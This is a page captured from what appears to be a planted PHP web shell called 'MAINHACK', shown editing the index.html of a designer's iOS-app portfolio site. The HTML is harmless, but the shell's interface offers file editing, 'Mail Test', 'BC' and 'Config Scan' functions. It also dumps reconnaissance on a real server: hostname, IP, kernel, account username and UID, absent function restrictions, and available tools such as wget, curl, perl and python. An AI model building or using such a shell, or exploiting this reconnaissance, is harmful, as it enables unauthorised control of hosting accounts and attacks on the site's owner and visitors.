[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Apps by Rikon Rahman โ Studio</title> <meta name="description" content="Product designer with over 10 years of experience specializing in design systems, accessibility, and UX."> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } :root { --blue: #3b82f6; --blue-dark: #2563eb; --slate-900: #0f172a; --slate-700: #334155; --slate-600: #475569; --slate-500: #64748b; --slate-200: #e2e8f0; --slate-100: #f1f5f9; --slate-50: #f8fafc; } html { scroll-behavior: smooth; } body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: #ffffff; color: var(--slate-900); line-height: 1.6; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* Hero */ .hero { position: relative; text-align: center; padding: 100px 20px; background: #030712; color: white; overflow: hidden; isolation: isolate; } .hero::before { content: ''; position: absolute; inset: -20%; background: radial-gradient(600px 400px at 50% 0%, rgba(59,130,246,0.25), transparent 60%), radial-gradient(800px 500px at 80% 20%, rgba(139,92,246,0.18), transparent 60%), radial-gradient(700px 400px at 20% 10%, rgba(14,165,233,0.2), transparent 60%); z-index: -1; } .hero::after { content: ''; position: absolute; inset: 0; background-image: linear-gradient(rgba(255,255,255,0.03) 1px, transparent 1px), linear-gradient(90deg, rgba(255,255,255,0.03) 1px, transparent 1px); background-size: 48px 48px; mask-image: radial-gradient(ellipse at center, black 40%, transparent 70%); z-index: -1; } .hero-inner { max-width: 720px; margin: 0 auto; } .eyebrow { display: inline-flex; align-items: center; gap: 8px; padding: 6px 12px; background: rgba(255,255,255,0.06); border: 1px solid rgba(255,255,255,0.12); border-radius: 999px; font-size: 12px; font-weight: 600; letter-spacing: 0.02em; color: #cbd5e1; margin-bottom: 24px; backdrop-filter: blur(8px); } .dot { width: 6px; height: 6px; background: #22c55e; border-radius: 50%; box-shadow: 0 0 10px rgba(34,197,94,0.6); animation: pulse 2s infinite; } @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .hero h1 { font-size: clamp(2.75rem, 7vw, 4.5rem); font-weight: 800; letter-spacing: -0.03em; line-height: 1.05; margin: 0 0 20px; background: linear-gradient(180deg, #ffffff 0%, #cbd5e1 100%); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .hero p { font-size: clamp(1.0625rem, 2vw, 1.1875rem); line-height: 1.75; color: #94a3b8; margin: 0 auto 40px; max-width: 640px; } .buttons { display: flex; gap: 12px; justify-content: center; flex-wrap: wrap; } .btn { display: inline-flex; align-items: center; gap: 8px; padding: 13px 24px; border-radius: 12px; font-weight: 600; font-size: 15px; text-decoration: none; transition: all 0.2s cubic-bezier(0.4, 0, 0.2, 1); white-space: nowrap; } .btn-primary { background: var(--blue); color: white; box-shadow: 0 1px 2px rgba(0,0,0,0.1), 0 8px 20px -8px rgba(59,130,246,0.6); } .btn-primary:hover { background: var(--blue-dark); transform: translateY(-1px); box-shadow: 0 4px 12px rgba(0,0,0,0.15), 0 12px 24px -8px rgba(59,130,246,0.7); } .btn-outline { background: rgba(255,255,255,0.04); color: #e2e8f0; border: 1px solid rgba(255,255,255,0.16); backdrop-filter: blur(12px); } .btn-outline:hover { background: rgba(255,255,255,0.08); border-color: rgba(255,255,255,0.24); transform: translateY(-1px); } /* Currently Building */ .building { padding: 88px 20px 100px; background: var(--slate-50); border-top: 1px solid rgba(0,0,0,0.04); } .container { max-width: 1120px; margin: 0 auto; } .section-header { text-align: center; max-width: 680px; margin: 0 auto 56px; } .section-tag { display: inline-block; font-size: 12px; font-weight: 700; letter-spacing: 0.08em; text-transform: uppercase; color: var(--blue-dark); background: #dbeafe; padding: 6px 10px; border-radius: 6px; margin-bottom: 14px; } .section-header h2 { font-size: clamp(1.875rem, 4vw, 2.5rem); font-weight: 800; letter-spacing: -0.02em; margin: 0 0 12px; color: var(--slate-900); } .section-header p { color: var(--slate-600); font-size: 1.0625rem; line-height: 1.65; } .cards-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 22px; } @media (max-width: 860px) { .cards-grid { grid-template-columns: 1fr; gap: 18px; } } .card { background: white; border-radius: 20px; padding: 28px; box-shadow: 0 0 0 1px rgba(15,23,42,0.06), 0 2px 4px rgba(15,23,42,0.04), 0 8px 24px -12px rgba(15,23,42,0.08); transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); display: flex; flex-direction: column; position: relative; overflow: hidden; } .card::before { content: ''; position: absolute; top: 0; left: 0; right: 0; height: 3px; background: linear-gradient(90deg, var(--blue), #8b5cf6); opacity: 0; transition: opacity 0.3s; } .card:hover { transform: translateY(-3px); box-shadow: 0 0 0 1px rgba(15,23,42,0.08), 0 10px 30px -10px rgba(15,23,42,0.15); } .card:hover::before { opacity: 1; } .card-head { display: flex; justify-content: space-between; align-items: flex-start; gap: 16px; margin-bottom: 14px; } .card-title-wrap { display: flex; align-items: center; gap: 12px; } .app-icon { width: 44px; height: 44px; border-radius: 12px; display: grid; place-items: center; font-size: 20px; flex-shrink: 0; box-shadow: inset 0 1px 2px rgba(255,255,255,0.2), 0 2px 6px rgba(0,0,0,0.08); } .icon-payqueue { background: linear-gradient(135deg, #3b82f6, #1d4ed8); } .icon-wakeforce { background: linear-gradient(135deg, #f59e0b, #d97706); } .icon-budgeter { background: linear-gradient(135deg, #10b981, #059669); } .icon-receipt { background: linear-gradient(135deg, #8b5cf6, #6d28d9); } .card-title { font-size: 1.25rem; font-weight: 700; letter-spacing: -0.01em; color: var(--slate-900); margin: 0; } .status { font-size: 11px; padding: 5px 10px; border-radius: 999px; font-weight: 650; text-transform: uppercase; letter-spacing: 0.04em; white-space: nowrap; border: 1px solid transparent; } .status-dev { background: #eff6ff; color: #1d4ed8; border-color: #bfdbfe; } .status-proto { background: #fffbeb; color: #b45309; border-color: #fde68a; } .status-design { background: #eef2ff; color: #4338ca; border-color: #c7d2fe; } .status-concept { background: #f8fafc; color: #475569; border-color: #e2e8f0; } .card p { color: var(--slate-600); line-height: 1.65; font-size: 15px; margin: 0 0 22px; flex-grow: 1; } .card-foot { display: flex; justify-content: space-between; align-items: center; padding-top: 16px; border-top: 1px solid var(--slate-100); margin-top: auto; } .coming { color: var(--slate-500); font-size: 12px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.05em; display: flex; align-items: center; gap: 6px; } .coming-dot { width: 5px; height: 5px; background: currentColor; border-radius: 50%; opacity: 0.6; } /* About */ .about { padding: 90px 20px 100px; background: white; } .about-inner { max-width: 860px; margin: 0 auto; text-align: center; } .about h2 { font-size: clamp(1.75rem, 3.5vw, 2.25rem); font-weight: 800; letter-spacing: -0.02em; margin: 0 0 18px; } .about-text { font-size: 1.125rem; color: var(--slate-700); line-height: 1.75; max-width: 720px; margin: 0 auto 44px; } .stats { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1px; margin: 48px 0 44px; background: var(--slate-200); border-radius: 16px; overflow: hidden; box-shadow: 0 0 0 1px var(--slate-200); } .stat { background: white; padding: 32px 20px; text-align: center; } .stat-value { font-size: clamp(1.875rem, 4vw, 2.5rem); font-weight: 800; color: var(--slate-900); line-height: 1; margin-bottom: 8px; letter-spacing: -0.02em; } .stat-label { font-size: 11px; color: var(--slate-500); letter-spacing: 0.08em; text-transform: uppercase; font-weight: 700; } @media (max-width: 640px) { .stats { grid-template-columns: 1fr; } .stat { padding: 24px 20px; } } .link-portfolio { display: inline-flex; align-items: center; gap: 8px; color: var(--blue-dark); font-weight: 600; text-decoration: none; font-size: 1rem; padding: 10px 16px; border-radius: 10px; transition: all 0.2s; } .link-portfolio:hover { background: #eff6ff; gap: 12px; } /* Footer */ footer { padding: 32px 20px; text-align: center; color: #94a3b8; font-size: 14px; background: var(--slate-50); border-top: 1px solid var(--slate-200); } footer a { color: var(--slate-600); text-decoration: none; } footer a:hover { color: var(--slate-900); text-decoration: underline; } </style> </head> <body> <!-- Hero --> <section class="hero"> <div class="hero-inner"> <div class="eyebrow"> <span class="dot"></span> Currently designing iOS apps </div> <h1>Apps by Rikon Rahman</h1> <p>Product designer with over 10 years of experience specializing in design systems, accessibility, and UX. I enjoy vibe coding and draw energy from emerging technology and innovation.</p> <div class="buttons"> <a href="https://rikonrahman.com/" class="btn btn-primary"> Visit portfolio <svg width="16" height="16" viewBox="0 0 16 16" fill="none" style="opacity:0.9"> <path d="M6 3l5 5-5 5" stroke="currentColor" stroke-width="1.75" stroke-linecap="round"/> </svg> </a> <a href="https://rikonrahman.com/case-study/" class="btn btn-outline">Read case study</a> </div> </div> </section> <!-- Currently Building --> <section class="building"> <div class="container"> <div class="section-header"> <span class="section-tag">Currently Building</span> <h2>Four focused iOS apps</h2> <p>Four focused iOS apps, designed to be simple, accessible, and genuinely useful.</p> </div> <div class="cards-grid"> <!-- PayQueue --> <article class="card"> <div class="card-head"> <div class="card-title-wrap"> <div class="app-icon icon-payqueue">๐</div> <h3 class="card-title">PayQueue</h3> </div> <span class="status status-dev">In Development</span> </div> <p>A smart shopping list where you set a target buy date and save the product link. On the day, PayQueue reminds you โ so you buy essentials when funds are available and defer nice-to-haves to month-end or whenever you're most comfortable.</p> <div class="card-foot"> <span class="coming"><span class="coming-dot"></span>Coming Soon</span> </div> </article> <!-- WakeForce --> <article class="card"> <div class="card-head"> <div class="card-title-wrap"> <div class="app-icon icon-wakeforce">โฐ</div> <h3 class="card-title">WakeForce</h3> </div> <span class="status status-proto">Prototyping</span> </div> <p>Not just an alarm โ it's a commitment. You can set only one alarm per day. To turn it off, take a selfie with your eyes open and walk 30 steps.</p> <div class="card-foot"> <span class="coming"><span class="coming-dot"></span>Coming Soon</span> </div> </article> <!-- Budgeter --> <article class="card"> <div class="card-head"> <div class="card-title-wrap"> <div class="app-icon icon-budgeter">๐ฐ</div> <h3 class="card-title">Budgeter</h3> </div> <span class="status status-design">Designing</span> </div> <p>A simple monthly budget tracker. Set a planned amount for each category, log spending as you go, mark categories complete, and instantly see whether you're over or under budget.</p> <div class="card-foot"> <span class="coming"><span class="coming-dot"></span>Coming Soon</span> </div> </article> <!-- Keep Receipt --> <article class="card"> <div class="card-head"> <div class="card-title-wrap"> <div class="app-icon icon-receipt">๐งพ</div> <h3 class="card-title">Keep Receipt</h3> </div> <span class="status status-concept">Concept</span> </div> <p>Quickly capture or upload receipts and keep them organized. Sort by category to find anything later for personal records, expense tracking, or tax preparation.</p> <div class="card-foot"> <span class="coming"><span class="coming-dot"></span>Coming Soon</span> </div> </article> </div> </div> </section> <!-- About --> <section class="about"> <div class="about-inner"> <h2>About Rikon</h2> <p class="about-text">I'm a product designer focused on accessible, systematic design that scales. I've worked with top tier enterprises, with impact on over 100,000 users in healthcare and $350M in retail.</p> <div class="stats"> <div class="stat"> <div class="stat-value">10+ yrs</div> <div class="stat-label">EXPERIENCE</div> </div> <div class="stat"> <div class="stat-value">100K+</div> <div class="stat-label">HEALTHCARE USERS</div> </div> <div class="stat"> <div class="stat-value">$350M</div> <div class="stat-label">RETAIL IMPACT</div> </div> </div> <a href="https://rikonrahman.com/" class="link-portfolio"> Link to portfolio <svg width="18" height="18" viewBox="0 0 20 20" fill="none"> <path d="M7 13L13 7M13 7H8M13 7v5" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"/> </svg> </a> </div> </section> <footer> <div class="container"> ยฉ <span id="year"></span> Rikon Rahman Studio โข <a href="https://rikonrahman.com/">rikonrahman.com</a> </div> </footer> <script> document.getElementById('year').textContent = new Date().getFullYear(); </script> <script>(function(){document.addEventListener("click",function(e){var a=e.target.closest("[data-product-id]");if(!a)return;e.preventDefault();var pid=a.getAttribute("data-product-id");if(pid)parent.postMessage({type:"ecto-artifact-link-click",productId:pid},"*")})})();</script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154